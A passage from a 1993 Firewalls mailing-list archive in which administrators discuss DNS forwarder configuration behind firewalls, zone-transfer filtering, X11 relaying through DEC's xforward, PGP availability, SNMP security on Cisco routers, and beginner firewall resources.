Systems Programmer Bose rouilj@bose.com Framingham, MA (508) 879-1916 x6483 =============================================================================== My employers don't acknowledge my existence much less my opinions. From Firewalls-Owner Wed Oct 13 22:05:24 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA05301; Wed, 13 Oct 93 22:05:24 GMT Received: from mailgate.Cadence.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA05294; Wed, 13 Oct 93 15:05:12 PDT Received: from cds1004.Cadence.COM by mailgate.Cadence.COM (5.65c/SMI-4.1) id AA05102; Wed, 13 Oct 1993 15:05:57 -0700 Received: from [158.140.32.237] ([158.140.32.237]) by cds1004.Cadence.COM (8.6/8.6) with SMTP id PAA09469 for ; Wed, 13 Oct 1993 15:08:31 -0700 Date: Wed, 13 Oct 1993 15:08:31 -0700 Message-Id: <199310132208.PAA09469@cds1004.Cadence.COM> To: firewalls@GreatCircle.COM From: alastair@Cadence.COM (Alastair Young) X-Sender: alastair@cds1004 Subject: Re: Configuring DNS in a firewalled environment Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk John P. Rouillard writes: >In message <199310131918.MAA09273@cds1004.Cadence.COM>, Alastair Young writes: >>>Greetings! >>> >>>I am looking into configuring DNS in a firewalled environment, which looks >>>like this: >>> >>> +----------+ >>> | | >>> internal network ------| Firewall |------ the Internet >>> | | >>> +----------+ >>> [stuff deleted] >>>As far as I understand (from the Name Server Operations Guide for BIND, and >>>from the O'Reilly book on 'DNS and BIND') I can use the 'forwarders' and >>>'slave' directives to do this. It remains however unclear which internal DNS >>>servers will need one/both of these directives. Is it only the internal root >>>servers that need these directives? Or must all internal DNS servers have >>>them? Can somebody please shed some light on this? > >Set up your internal root servers with a primary directive, and your >secondaries with a secondary directive, then load the root cache >(named.ca) file with the NS and A records for the dns server on the >FIREWALL. (e.g. > >; @(#)root.cache 1.1 (Berkeley) 86/01/21 >; >; Initial cache data for root domain servers. >; > >. 999999 IN NS firewall.my.org. > >; >; Prep the cache (hotwire the addresses). Order does not matter >; > >firewall.my.org. 999999 IN A 192.112.36.4 >) > >Don't forget to set the resolv.conf on the firewall to point to the >INTERNAL dns servers. That way as far as your internal servers know >the gateway is a root nameserver. If you don't do this, you may get >the infamous "no root nameservers for level n found" (n elem 1, 2, >3,4) message from older named implementations (e.g. suns). > Sorry John, I disagree with you on most points here. I've spent the last hour or two adding forwarders and slave lines to the named.boot files on a number of internal DNS servers. All I had to add was: forwarders 158.140.2.254 158.140.254 slave and HUP the daemon. Works like a charm. 158.140.2.254 is the inner ethernet on our firewall which is also our primary external DNS server. I did not have to change my db.cache files. In our case the firewall is self contained as regards NIS, it regards itself as the primary and does not know about the internal servers. Monitoring the traffic all DNS requests from these servers now go to the firewall, not to the Internet. Response time appears unaffected (ie it's still crippled by our overloaded link :-) >> As I read it, ALL internal DNS servers must be configured as slaves, >> otherwise they will try and contact the external servers directly. > >You shouldn't use slave for your internal root servers at all, >otherwise they will never offer info about your internal hosts. As far >as I know, primary, secondary and slave are mutually exclusive. > Yes you should, yes they will and no they aren't. According to O'Reilly: A slave server is still a primary, secondary, or caching only server; don't get confused here. We call it a slave server because calling it a primary, secondary or caching only slave server is just too long of a name. Earlier it says: If the requested information is already in its database of authoratative data and cache data, it answers with this information; this part of the operation hasn't changed. As far as I can tell, it talks to the forwarders instead of talking to the root servers listed in db.cache The only server that should not be made a slave is the one which has the Internet access, which is also the system that all the internal ones use as their forwarder. Entering the IP address of the forwarder multiple times causes it to try the request multiple times, thus enhancing reliability. Al --------------------------------------------------------------------------- Alastair Young _ Ariel NH Cadence Design Systems, Information Services )/___ _ Red Hunter 555 River Oaks Parkway, 4B1 __/(___)_*##/c San Jose CA 95134 Fax: (408)894-3487 / /\\|| \ / \ Brakes'n'lites alastair@cadence.com (408)428-5278 \__/ ----'\__/ novel eh? --------------------------------------------------------------------------- These statements and opinions are mine, not those of Cadence Design Systems From Firewalls-Owner Thu Oct 14 03:06:19 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA05855; Thu, 14 Oct 93 03:06:19 GMT Received: from deepthought.cs.utexas.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA05848; Wed, 13 Oct 93 20:06:11 PDT Received: from im4u.cs.utexas.edu by deepthought.cs.utexas.edu (5.64/1.2/relay) with SMTP id AA04149; Wed, 13 Oct 93 22:10:13 -0500 Received: from chinaca by im4u.cs.utexas.edu (5.64/1.27/uucp) with UUCP id AA00479; Wed, 13 Oct 93 22:09:04 -0500 Received: from coldsnap.unicom.com by chinacat.unicom.com with smtp (smail3.1.28.1) id m0onIy3-0001qaC; Wed, 13 Oct 93 22:03 CDT Received: from localhost by coldsnap.unicom.com (smail3.1.28.1) id m0onIy2-00024LC; Wed, 13 Oct 93 22:03 CDT Message-Id: From: chip@chinacat.unicom.com (Chip Rosenthal) Subject: Re: Merits of CERT Firewall Document To: BURCHIANTI@FWVA.SAIC.COM Date: Wed, 13 Oct 1993 22:03:05 -0500 (CDT) Cc: firewalls@GreatCircle.COM In-Reply-To: <16488853@MVB.SAIC.COM> from "BURCHIANTI@FWVA.SAIC.COM" at Oct 13, 93 11:52:25 am X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1289 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk BURCHIANTI@FWVA.SAIC.COM writes: >[quoting CERT advisory on what to filter] > DNS zone transfers - socket 53 Pardon the stupid question. I'm mostly a lurker here, trying to learn for the day when I actually need to set up one of these beasts. (Know it will be coming eventually.) My concern is that DNS zone transfers are the only method I currently have available to discover services offered by a domain. I frequently dig an axfr to see if they've got an ftp.foobar.com or a gopher.foobar.com. I would think the better solution would be to run an external name server on the outer side of the DMZ, and provide full access to that, including zone transfers. For the nameserver running on the inner side of the DMZ, restrict not just zone transfers, but *all* access. Am I off base in my thinking? Or is the advisory geared to sites who do not have a firewall, and their internal name server *is* the external name server? Until some sort of service discovery protocol is invented and deployed, I think zone transfers are the only tool we've got. -- Chip Rosenthal 512-447-0577 | I'm going out where the lights don't shine so Unicom Systems Development | bright. When I get back you can treat me like | a Saturday night. -Jimmie Dale Gilmore From Firewalls-Owner Thu Oct 14 13:38:12 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA07174; Thu, 14 Oct 93 13:38:12 GMT Received: from aun.uninett.no by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA07167; Thu, 14 Oct 93 06:38:01 PDT X400-Received: by mta aun.uninett.no in /PRMD=uninett/ADMD= /C=no/; Relayed; Thu, 14 Oct 1993 14:41:19 +0100 X400-Received: by /PRMD=uninett/ADMD= /C=no/; Relayed; Thu, 14 Oct 1993 14:41:14 +0100 Date: Thu, 14 Oct 1993 14:41:14 +0100 X400-Originator: Jon.Olnes@nr.no X400-Recipients: Firewalls@GreatCircle.com X400-Mts-Identifier: [/PRMD=uninett/ADMD= /C=no/;931014144114] X400-Content-Type: P2-1984 (2) Content-Identifier: 837 Conversion: Prohibited From: Jon Olnes Message-Id: <"837*/G=Jon/S=Olnes/O=nr/PRMD=uninett/ADMD= /C=no/"@MHS> To: Firewalls Subject: ISO protocol firewalls Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk We are working on the security parts for the next revision of the Norwegian OSI Profile (Norwegian GOSIP, or NOSIP), and a new government profile for Open Systems. We want to include requirements for filtering in bridges and routers (ISs in the OSI terminology) and for firewalls. First question: are there any bridge/router products which support filtering of OSI NSAP source/destination addresses? Presumably, this shouldn't be much different from filtering on IP-addresses. If possible, we'll like to make such filtering capabilities a mandatory requirement. If no products exist, we may state it as a long-term requirement. Second question: any products which can filter on ISO application layer protocols? This is more difficult than filtering on TCP/IP-services, since extraction of the address fields (NSAP/T-SEL/S-SEL/P-SEL) is more tricky, but in particular because the "higher order" parts of the address have local significance only. Again, we would like to aim for a mandatory requirement, but only if it is a realistic requirement in the short term. In the profile for Open Systems, we are no doubt going to require use of firewalls. Communication between the open systems will be according to NOSIP, i.e. ISO protocols. Third question: any known work on firewalls for ISO application layer protocols? There's no reason why this should be much different from Internet- style firewalls, but any input is appreciated. Deficiences in the filtering capabilities of ISs (see question 1 and 2) may be one parameter here. I suppose these questions may be of general interest to people on the Firewalls list, so answers to the list should be OK. If you prefer private e-mail, I'm prepared to make a summary of the answers if I get enough of them. Thanks in advance Jon Olnes, Norwegian Computing Centre (NR), Oslo, Norway E-mail: Jon.Olnes@nr.no or jon@ifi.uio.no From Firewalls-Owner Thu Oct 14 20:52:54 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA08271; Thu, 14 Oct 93 20:52:54 GMT Received: from kalpana.kalpana.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA08264; Thu, 14 Oct 93 13:52:44 PDT Received: from astaroth.kalpana.com by kalpana.kalpana.COM (4.1/2.7davy) id AA05130; Thu, 14 Oct 93 13:48:38 PDT Received: by astaroth.kalpana.com (5.0/SMI-4.1) id AA06618; Thu, 14 Oct 93 14:01:27 PDT Date: Thu, 14 Oct 93 14:01:27 PDT From: randyb@kalpana.com (Randy Bias) Message-Id: <9310142101.AA06618@astaroth.kalpana.com> To: firewalls@GreatCircle.COM Subject: X11 in a firewalled environment. Content-Length: 324 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I'm sure this has been re-hashed many times, but I need to hash it once more. I have a specific application in which I want to allow one and only one machine on the Internet to run X11 clients remotely on our internal net. Is there a secure way to do this? How about just on the firewall machine itself? Thanks, --Randy From Firewalls-Owner Thu Oct 14 21:21:08 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA08357; Thu, 14 Oct 93 21:21:08 GMT Received: from toe.CS.Berkeley.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA08350; Thu, 14 Oct 93 14:21:02 PDT Received: from localhost (hartzell@localhost) by toe.CS.Berkeley.EDU (8.1C/8.1B) id OAA06801; Thu, 14 Oct 1993 14:24:36 -0700 Date: Thu, 14 Oct 1993 14:24:36 -0700 From: George Hartzell Message-Id: <199310142124.OAA06801@toe.CS.Berkeley.EDU> To: randyb@kalpana.com (Randy Bias) Cc: firewalls@GreatCircle.COM Subject: Re: X11 in a firewalled environment. In-Reply-To: <9310142101.AA06618@astaroth.kalpana.com> References: <9310142101.AA06618@astaroth.kalpana.com> Reply-To: hartzell@cs.berkeley.edu (George Hartzell) Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk There's an X11 gateway from some folks at DEC that could help you with this. I think that they had a paper in a recent unix. Anyone have the reference? g. From Firewalls-Owner Thu Oct 14 21:35:09 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA08466; Thu, 14 Oct 93 21:35:09 GMT Received: from research.att.com (ninet.research.att.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA08456; Thu, 14 Oct 93 14:35:00 PDT Message-Id: <9310142135.AA08456@mycroft.GreatCircle.COM> From: smb@research.att.com Received: by gryphon; Thu Oct 14 17:37:05 EDT 1993 To: hartzell@cs.berkeley.edu (George Hartzell) Cc: randyb@kalpana.com (Randy Bias), firewalls@GreatCircle.COM Subject: Re: X11 in a firewalled environment. Date: Thu, 14 Oct 93 17:37:04 EDT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk There's an X11 gateway from some folks at DEC that could help you with this. I think that they had a paper in a recent unix. Anyone have the reference? g. @inproceedings{xforward, author = "Win Treese and Alec Wolman", booktitle = "USENIX Conference Proceedings", address = "Cincinnati, OH", year = "1993", month = "June", publisher = "USENIX", pages = "???\comment{fix page num}", title = "X Through the Firewall, and Other Application Relays", } crl.dec.com:/pub/DEC/xforward.tar.Z But read the license before you decide to use it... From Firewalls-Owner Thu Oct 14 21:48:31 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA08522; Thu, 14 Oct 93 21:48:31 GMT Received: from alpha.xerox.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA08515; Thu, 14 Oct 93 14:48:25 PDT Received: from avalon.parc.xerox.com ([13.1.101.241]) by alpha.xerox.com with SMTP id <11752>; Thu, 14 Oct 1993 14:51:37 PDT Received: by avalon.parc.xerox.com id <2440>; Thu, 14 Oct 1993 14:51:31 -0700 From: Mark Verber To: randyb@kalpana.com, hartzell@cs.berkeley.edu Subject: Re: X11 in a firewalled environment. Cc: firewalls@GreatCircle.COM Message-Id: <93Oct14.145131pdt.2440@avalon.parc.xerox.com> Date: Thu, 14 Oct 1993 14:51:17 PDT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk The DEC x through a firewall was presented at Summer USENIX '93. The xforward code was put up on crl.dec.com:/pub/DEC/xfoward.tar.Z --mark From Firewalls-Owner Fri Oct 15 04:25:13 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA09145; Fri, 15 Oct 93 04:25:13 GMT Received: from crl.dec.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA09138; Thu, 14 Oct 93 21:25:07 PDT Received: by crl.dec.com; id AA29798; Fri, 15 Oct 93 00:28:42 -0400 Received: by easynet.crl.dec.com; id AA07207; Fri, 15 Oct 93 00:28:41 -0400 Message-Id: <9310150428.AA05412@aqaba.crl.dec.com> To: firewalls@GreatCircle.COM Subject: Re: X11 in a firewalled environment. In-Reply-To: hartzell@postgres.Berkeley.EDU's message of Thu, 14 Oct 1993 14:24:36 -0700 Date: Fri, 15 Oct 93 00:28:40 -0400 From: treese@crl.dec.com X-Mts: smtp Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk We did some work on using X with a firewall. The paper "X Through the Firewall, and Other Application Relays" by G. Winfield Treese and Alec Wolman appeared at the Summer '93 USENIX conference. The paper is also CRL Technical Report 93/10, available by FTP from crl.dec.com:/pub/DEC/CRL/tech-reports/93.10.ps.Z or by sending mail with "help" in the body to techreports@crl.dec.com. The software is available from crl.dec.com:/pub/DEC/xforward.tar.Z; the kit does not include the paper. Win Treese Cambridge Research Lab treese@crl.dec.com Digital Equipment Corp. From Firewalls-Owner Fri Oct 15 12:31:00 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA10260; Fri, 15 Oct 93 12:31:00 GMT Received: from vm.cnuce.cnr.it by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA10209; Fri, 15 Oct 93 05:30:43 PDT Received: from IRMFAO01.BITNET by vm.cnuce.cnr.it (IBM VM SMTP V2R2) with BSMTP id 2331; Fri, 15 Oct 93 13:33:55 MET Received: from IRMFAO01 (AFCO73) by IRMFAO01.BITNET (Mailer R2.08) with BSMTP id 7209; Fri, 15 Oct 93 13:35:38 ITA Date: Fri, 15 Oct 93 13:33:54 ITA From: AFCO73%IRMFAO01.BITNET@vm.cnuce.cnr.it Organization: Food and Agriculture Organization of the UN Subject: Pretty Good Privacy Software To: firewalls@GreatCircle.COM Message-Id: <931015.133354.ITA.AFCO73@IRMFAO01> X-Acknowledge-To: Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Good day, My security officer just asked me about Pretty Good Privacy software. Could anyone tell me what it does and who the supplier is? Thanks for any help. Johnny Hua at FAO of the UN, Italy From Firewalls-Owner Fri Oct 15 13:55:05 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA10367; Fri, 15 Oct 93 13:55:05 GMT Received: from BITNIC.EDUCOM.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA10358; Fri, 15 Oct 93 06:54:48 PDT Received: from BITNIC.EDUCOM.EDU by BITNIC.EDUCOM.EDU (IBM VM SMTP V2R2) with BSMTP id 3848; Fri, 15 Oct 93 09:59:11 EDT Received: from BITNIC.EDUCOM.EDU (NJE origin NETMAINE@BITNIC) by BITNIC.EDUCOM.EDU (LMail V1.1d/1.7f) with RFC822 id 3847; Fri, 15 Oct 1993 09:59:09 -0400 Subject: Firewalls for the beginner To: FIREWALLS@GreatCircle.COM From: "Andrew T. Robinson" Date: Fri, 15 Oct 93 09:52:24 EDT Message-Id: Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Knowing how complex the topic of firewalling is, I'd be interested in knowing if there is a document or publication (online would be great, but printed is fine too) that describes building a firewall from the ground up for someone with little or no exposure to security concepts? Something that explains the vulnerability of some firewall techniques to IP source routing, insecurity of source address/port filtering, how to set up application gateways and proxy services and so on, all in one place? If not, then I would like to identify some individuals who are knowledgable and who wouldn't mind if I picked their brains out-of-band on this topic (probably extensively, at least at first). If you are such a generous individual, please send me private mail (I doubt I'll be swamped with volunteers). Andy From Firewalls-Owner Fri Oct 15 14:47:05 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA10487; Fri, 15 Oct 93 14:47:05 GMT Received: from terminus.cs.umb.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA10480; Fri, 15 Oct 93 07:46:59 PDT Received: by terminus.cs.umb.edu id AA09661 (5.65c/IDA-1.4.4 for firewalls@greatcircle.com); Fri, 15 Oct 1993 10:49:57 -0400 Date: Fri, 15 Oct 1993 10:49:57 -0400 From: "John B. Brown" Message-Id: <199310151449.AA09661@terminus.cs.umb.edu> To: AFCO73@IRMFAO01.BITNET, firewalls@GreatCircle.COM Subject: Re: Pretty Good Privacy Software Cc: .@cs.umb.edu Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Dear Johnny, There's an ftp site, in Italy, ghost.dsi.unimi.it , from which source for the latest version of PGP can be downloaded. There is also a usenet News newsgroup called alt.security.pgp from which some technical help can be gotten, on occasion. The 2.x development of PGP has been carried on in Europe after some U.S. political difficulties arose. The applications of PGP so far seen have been apparently unbreakable. There's a very tiny flap going on in the U.S. at this time, probably generated around the conditions of the ARPA contract with the developers of RSA applications of public key algorithms. If PGP seems too hot for your boss, there's always RIPEM, which is almost as complex as PGP, and which hasn't been challenged politically. Shalom, JBB. From Firewalls-Owner Fri Oct 15 14:48:04 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA10500; Fri, 15 Oct 93 14:48:04 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA10488; Fri, 15 Oct 93 07:47:52 PDT Received: from relay.lehman.com ([192.9.140.112]) by lehman.com (4.1/LB 0.1) id AA06897; Fri, 15 Oct 93 10:51:24 EDT Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA28759; Fri, 15 Oct 93 10:51:15 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA16868; Fri, 15 Oct 93 10:51:14 EDT Message-Id: <9310151451.AA16868@snark.lehman.com> To: firewalls@GreatCircle.COM Subject: Re: Pretty Good Privacy Software In-Reply-To: Your message of "Fri, 15 Oct 1993 13:33:54 -0100." <931015.133354.ITA.AFCO73@IRMFAO01> Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Fri, 15 Oct 1993 10:51:13 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk AFCO73%IRMFAO01.BITNET@vm.cnuce.cnr.it says: > Good day, My security officer just asked me about Pretty Good > Privacy software. Could anyone tell me what it does and who the > supplier is? > > Thanks for any help. > > Johnny Hua at FAO of the UN, Italy PGP is a freely distributable public key encryption package. Its widely available. There are some questions of patent infringement in using it in the U.S., but as there are no patents covering RSA public key encryption in the E.C. it should be perfectly legal for use there. You can retrieve it from a number of FTP sites worldwide. Perry From Firewalls-Owner Fri Oct 15 17:12:20 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA10799; Fri, 15 Oct 93 17:12:20 GMT Received: from overdrive.ccrl.nj.nec.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA10792; Fri, 15 Oct 93 10:12:12 PDT Received: by overdrive.ccrl.nj.nec.com (4.1/EMS1.7-930224.09) id AA11317(overdrive.ccrl.nj.nec.com); Fri, 15 Oct 93 13:17:15 EDT From: ems@ccrl.nj.nec.com (Ed Strong) Received: by deimos.ccrl.nj.nec.com (4.1/CNC-Client) id AA00788; Fri, 15 Oct 93 13:17:12 EDT Date: Fri, 15 Oct 93 13:17:12 EDT Message-Id: <9310151717.AA00788@deimos.ccrl.nj.nec.com> To: firewalls@GreatCircle.COM Subject: SNMP and cisco router Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I've been asked to turn on SNMP on our gateway CISCO router, something which an expert from Cabletron suggested not be done. I'd like some other opinions, with regard to the security of doing this. How good is the authentication SNMP provides? Can it be broken? Can I turn on SNMP only for internal interfaces? If SNMP is turned on readonly, can this access be subverted? Thanks in advance Ed Strong From Firewalls-Owner Fri Oct 15 23:57:28 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA11759; Fri, 15 Oct 93 23:57:28 GMT Received: from BITNIC.EDUCOM.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA11750; Fri, 15 Oct 93 16:57:15 PDT Received: from BITNIC.EDUCOM.EDU by BITNIC.EDUCOM.EDU (IBM VM SMTP V2R2) with BSMTP id 5891; Fri, 15 Oct 93 20:02:48 EDT Received: from BITNIC.EDUCOM.EDU (NJE origin NETMAINE@BITNIC) by BITNIC.EDUCOM.EDU (LMail V1.1d/1.7f) with RFC822 id 5889; Fri, 15 Oct 1993 19:50:33 -0400 Subject: Re: Firewalls for the beginner To: FIREWALLS@GreatCircle.COM From: "Andrew T. Robinson" Date: Fri, 15 Oct 93 19:43:43 EDT In-Reply-To: <9988.9310151422@otter.TIS.COM> Message-Id: Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >From the responses I've received so far, I conclude that: 1. There is no "Firewalls for the Beginner" document out there 2. A lot of people like me are trying to pick up firewalling through osmosis on this list, but aren't having an easy time of it (like me). 3. B. Cheswick/S. Bellovin are working on such a document, perhaps out in May. Because I can't wait until May, I'm going to do some research and try to compile a document that does justice to the title. There were in fact a couple of altruistic souls who volunteered to let me pick their brains (occasionally at least). If there are any others that haven't spoken up, please do so. Andy From Firewalls-Owner Sat Oct 16 00:34:31 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA11853; Sat, 16 Oct 93 00:34:31 GMT Received: from usc.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA11846; Fri, 15 Oct 93 17:34:19 PDT Received: from caldera.usc.edu by usc.edu (4.1/SMI-3.0DEV3-USC+3.1) id AA06496; Fri, 15 Oct 93 17:37:55 PDT Received: from catarina.usc.edu by caldera.usc.edu (4.1/SMI-4.1+ucs-3.6) id AA16696; Fri, 15 Oct 93 17:41:09 PDT Message-Id: <9310160041.AA16696@caldera.usc.edu> From: kannan@catarina.usc.edu To: "Andrew T. Robinson" Cc: FIREWALLS@GreatCircle.COM Subject: Re: Firewalls for the beginner In-Reply-To: Your message of Fri, 15 Oct 1993 19:43:43 -0400. Date: Fri, 15 Oct 1993 17:39:39 -0700 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > 1. There is no "Firewalls for the Beginner" document out there Interesting. I would have thought there ewre plenty out there by now. You might then try ftp.oar.net:/pub/OARnet/doc/oarsec.ps.Z, which I wrote when I was at OARnet, to help new customers figure out firewalls, and related issues. Kannan From Firewalls-Owner Sat Oct 16 12:39:06 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13371; Sat, 16 Oct 93 12:39:06 GMT Received: from BITNIC.EDUCOM.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13364; Sat, 16 Oct 93 05:38:58 PDT Received: from BITNIC.EDUCOM.EDU by BITNIC.EDUCOM.EDU (IBM VM SMTP V2R2) with BSMTP id 1836; Sat, 16 Oct 93 08:43:58 EDT Received: from BITNIC.EDUCOM.EDU (NJE origin NETMAINE@BITNIC) by BITNIC.EDUCOM.EDU (LMail V1.1d/1.7f) with RFC822 id 1833; Sat, 16 Oct 1993 08:43:57 -0400 Subject: Re: Firewalls for the beginner To: kannan@catarina.usc.edu Cc: FIREWALLS@GreatCircle.COM From: "Andrew T. Robinson" Date: Sat, 16 Oct 93 08:41:53 EDT In-Reply-To: <9310160041.AA16696@caldera.usc.edu> Message-Id: Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I'll check out your publication at OARnet. There is also one at TIS.COM which goes with their firewall toolkit. I'll reserve judgement on whether either of these is "for the beginner" :-) Andy From Firewalls-Owner Sat Oct 16 19:04:27 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13788; Sat, 16 Oct 93 19:04:27 GMT Received: from grasp.insa-lyon.fr by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13781; Sat, 16 Oct 93 12:04:18 PDT Received: from localhost (wolf@localhost) by grasp.insa-lyon.fr (8.6.2/8.6) id UAA34596; Sat, 16 Oct 1993 20:06:31 +0100 Date: Sat, 16 Oct 1993 20:06:31 +0100 From: Christophe Wolfhugel Message-Id: <199310161906.UAA34596@grasp.insa-lyon.fr> To: firewalls@GreatCircle.COM Subject: Re: Firewalls for the beginner Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > 1. There is no "Firewalls for the Beginner" document out there The Usenix Security Symposium proceedings are generally a good start point for those willing to learn about firewalls and other issues related to security. Usenix Security III proceedings have lots of interesting things, those from the Security IV are a little bit lighter but still interesting. Users' associations working groups are also sometimes very productive in the area of systems and networks security and furnish independant high quality information. Chris From Firewalls-Owner Mon Oct 18 01:38:49 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA17977; Mon, 18 Oct 93 01:38:49 GMT Received: from ATSCV1.GSFC.NASA.GOV by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA17970; Sun, 17 Oct 93 18:38:42 PDT Date: Sun, 17 Oct 1993 21:42:22 -0400 (EDT) From: SYSDHW@ATSCV1.GSFC.NASA.GOV To: Firewalls@GreatCircle.COM Cc: SYSDHW@ATSCV1.GSFC.NASA.GOV Message-Id: <931017214222.106d9@ATSCV1.GSFC.NASA.GOV> Subject: Newbie Question: Anon FTP servers that verify client Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Firewall Newbie Question: I have a quick question about some of the newer anonymous FTP servers that verify the host information of the FTP client and allow access based on the outcome... How, exactly, do these servers verify the client information and under what conditions do firewalls inhibit this process? The type of firewall I'm thinking of, specifically, is a router with some amount of port filtering and access control lists. Any insights or pointers to sources of info are appreciated. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= David Weissman AlliedSignal Technical Services Corp. Internet - One Bendix Road, Dept. 976 sysdhw@atscv1.gsfc.nasa.gov Columbia, Maryland 21045-1897 AlliedSignal Aeronet - (410) 964-7909 FAX - (410) 730-6775 ATSCV1::SYSDHW From Firewalls-Owner Tue Oct 19 14:29:43 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA24591; Tue, 19 Oct 93 14:29:43 GMT Received: from relay2.UU.NET by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA24584; Tue, 19 Oct 93 07:28:25 PDT Received: from spool.uu.net (via LOCALHOST) by relay2.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA22288; Tue, 19 Oct 93 10:30:08 -0400 Received: from magna.UUCP by uucp4.uu.net with UUCP/RMAIL (queueing-rmail) id 102836.21625; Tue, 19 Oct 1993 10:28:36 EDT Received: by magna.com (BULL 5.61++/MSC) id AA02315; Tue, 19 Oct 93 10:25:59 -0400 From: doc@magna.com (Matthew J. D'Errico) Message-Id: <9310191425.AA02315@magna.com> Subject: Real-Life Firewall Usage Survey... To: Firewalls@GreatCircle.COM Date: Tue, 19 Oct 1993 10:25:58 -0500 (EDT) In-Reply-To: <9310120800.AA29406@mycroft.GreatCircle.COM> from "Firewalls-Digest-Owner@GreatCircle.COM" at Oct 12, 93 01:00:09 am X-Mailer: ELM [version 2.4 PL21] Content-Type: text Content-Length: 1079 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I'm looking for real-life information regarding firewall preferences... To make the query simple so as to obtain as many responses as possible, would you please respond with short answers to the following questions ? 1) Network size : HUGE, Large, Medium, Small Where Huge is over 1000 nodes, large is a multi-site network, medium is several bridged LANs, and small is a single LAN... 2) Router / Internet Gateway : CISCO, Wellfleet, Telebit NetBlazer, etc... 3) Firewall platform : e.g.: Router, Unix box (vendor, please)... 4) Firewall Software : non, screend, SOCKS, etc... please specify whether the software is home-grown, PD, or commercial, and if commercial, from whom (h/w vendor, 3rd party)... 5) Does your platform provide the security you need ? If not, have you had any "break-ins" ? 6) What's your biggest security concern (why am I using a Firewall ?) Additional commentary is also invited if you're the gregarious type, regarding why you use what you use, and if you've evaluated any other platforms and/or combinations... Merci Boucoup ! -- Doc From Firewalls-Owner Tue Oct 19 20:12:16 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA25861; Tue, 19 Oct 93 20:12:16 GMT Received: from 